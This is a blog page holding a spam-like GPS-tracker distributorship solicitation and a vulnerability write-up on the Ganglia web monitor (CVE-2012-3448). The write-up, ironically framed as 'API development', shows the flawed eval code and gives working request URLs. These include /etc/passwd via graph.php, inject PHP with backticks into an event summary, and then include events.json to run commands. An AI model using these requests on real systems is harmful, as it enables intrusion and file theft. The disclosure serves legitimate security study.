viernes, 12 de junio de 2020

Looking for Distributors

Hello,

This is Paul Novak from iTrack GPS vehicle tracking supplier.

We design innovative GPS technologies and are looking for
distributors in your country.
The business consists in offering location services to end
customers through a web site. This is accomplished through a Web
platform that we provide as a turnkey server installed at your
end.

This service will allow customers to track their fleets from any
web browser - even from Tablets and Smartphones - with a username
and password.
We have Professional Kits available which include full Software
licenses, so once you get the KIT and start testing you will not
need to invest again in the Software or have to pay any monthly
fee.

We support our dealers' business to allow it to grow as much as
possible as our benefit is to sell the units.
Our product is excellent for fleet tracking and recovery of
stolen vehicles. Insurance companies, trucking companies, car
dealers and car assemblers have been our clients over 20 years.

This is a very profitable long-term business and we want to
support both commercially and technically so you can carry it out
successfully. Since 1996 we work with over 100 countries, helping
them from scratch to fully work with the system successfully.

PRO KIT: THE COMPLETE PACKAGE
Everything you need to start the business:
-> 20 GPS tracking units
-> Official Dealership agreement
-> Door-to-door shipment by DHL/UPS
-> Web Server remotely installed at your end
plus unlimited lifetime upgrades and dedicated tech support

With the PRO KIT you will be able to start a new fleet tracking
business and diversify your investment.

Please reply now so we can send you the proposal and start
working together.
Kindly add me to Whatsapp so we can discuss about this
opportunity.

Best regards,
Eng. Paul Novak
iTrack GPS
USA: +1(305)4241494
Whatsapp: +59899 26 24 91

If this information is not for you please reply with the word
REMOVE in the subject and please accept our deep apologizes for
any inconveniences.
Publicado por en No hay comentarios:

Extending Your Ganglia Install With The Remote Code Execution API

Previously I had gone over a somewhat limited local file include in the Ganglia monitoring application (http://ganglia.info). The previous article can be found here -
http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html

I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -

$graph = isset($_GET["g"])  ?  sanitize ( $_GET["g"] )   : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');


I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -

function sanitize ( $string ) {
  return  escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}


According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.


This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'

Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=

This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call - 
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'


As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.

Update: This issue has been assigned CVE-2012-3448

More articles


Publicado por en No hay comentarios:
Suscribirse a: Entradas (Atom)